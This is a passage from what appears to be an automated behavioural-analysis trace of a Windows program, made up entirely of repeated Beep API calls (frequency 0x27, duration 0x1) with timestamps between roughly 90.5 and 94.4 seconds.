dwDuration=0x1) returned 1 [0090.505] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.507] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.535] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.537] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.553] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.555] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.556] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.557] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.558] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.563] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.580] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.598] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.609] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.610] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.618] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.627] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.647] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.661] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.676] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.692] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.712] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.713] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.728] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.742] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.760] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.763] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.771] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.781] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.805] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.816] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.818] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.825] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.839] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.859] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.874] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.887] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.902] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.920] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.938] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.952] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.967] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.969] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.971] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.972] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.974] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.976] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.002] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.009] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.028] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.050] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.058] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.079] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.098] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.107] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.127] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.145] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.154] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.174] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.195] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.203] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.223] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.253] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.269] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.272] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.274] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.281] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.302] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.314] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.330] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.332] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.334] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.339] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.353] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.374] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.393] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.406] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.424] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.442] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.452] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.470] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.488] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.506] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.515] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.531] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.548] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.565] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.580] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.582] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.584] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.586] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.589] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.606] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.633] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.636] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.660] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.676] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.691] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.701] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.717] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.734] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.750] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.753] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.755] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.757] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.760] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.782] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.805] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.806] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.822] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.827] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.841] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.868] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.872] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.888] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.910] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.920] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.938] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.955] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.957] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.965] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.985] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0091.997] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.023] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.025] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.032] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.122] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.123] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.139] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.155] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.158] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.174] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.189] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.205] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.206] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.207] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.208] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.209] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.210] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.210] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.211] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.213] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.213] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.216] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.230] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.256] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.263] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.282] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.293] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.293] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.295] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.310] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.327] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.342] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.345] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.345] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.346] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.348] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.351] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.353] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.353] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.354] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.356] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.371] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.387] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.402] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.418] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.419] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.420] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.435] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.451] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.467] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.467] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.468] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.484] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.500] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.517] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.517] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.519] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.534] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.550] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.565] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.567] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.568] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.569] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.570] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.571] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.574] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.575] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.591] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.610] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.622] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.643] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.655] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.671] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.686] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.687] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.689] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.689] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.690] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.691] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.692] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.693] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.694] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.695] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.697] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.716] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.728] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.743] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.759] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.761] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.776] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.792] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.816] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.827] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.843] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.859] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.859] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.860] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.861] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.862] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.863] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.869] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.870] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.872] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.888] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.904] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.919] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.935] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.936] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.937] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.953] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.968] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.984] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0092.985] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.005] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.017] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.032] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.033] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.034] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.050] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.066] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.081] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.082] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.083] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.099] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.115] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.132] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.134] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.149] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.164] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.183] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.185] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.186] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.187] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.188] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.189] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.190] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.191] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.192] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.193] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.208] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.225] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.240] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.241] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.241] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.243] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.243] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.244] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.246] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.246] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.256] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.256] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.258] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.273] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.289] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.304] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.306] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.306] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.307] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.308] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.309] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.310] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.311] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.312] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.314] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.314] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.331] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.346] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.361] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.377] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.378] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.379] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.394] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.410] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.428] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.430] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.445] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.461] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.477] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.480] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.480] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.481] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.482] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.483] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.484] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.485] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.486] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.487] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.503] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.519] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.535] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.535] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.546] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.547] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.548] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.566] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.579] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.595] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.596] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.597] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.613] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.628] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.644] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.646] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.647] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.648] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.649] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.652] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.653] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.654] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.655] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.670] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.686] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.702] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.703] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.704] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.704] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.706] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.706] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.708] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.708] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.709] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.711] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.712] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.727] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.743] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.758] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.774] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.775] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.776] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.792] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.807] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.823] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.825] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.847] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.856] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.873] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.887] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.888] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.890] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.905] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.920] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.936] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.937] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.938] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.953] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.969] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.985] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.986] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0093.987] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.002] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.018] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.019] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.020] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.021] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.022] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.023] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.024] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.025] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.026] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.027] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.028] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.043] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.059] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.075] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.076] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.077] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.081] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.082] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.084] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.085] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.086] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.087] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.102] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.118] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.134] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.134] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.135] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.151] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.167] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.183] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.183] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.184] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.200] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.216] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.231] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.232] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.233] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.254] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.264] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.265] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.266] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.267] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.268] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.269] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.271] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.272] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.272] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.273] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.274] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.290] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.306] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.321] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.322] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.323] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.339] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.354] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.370] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 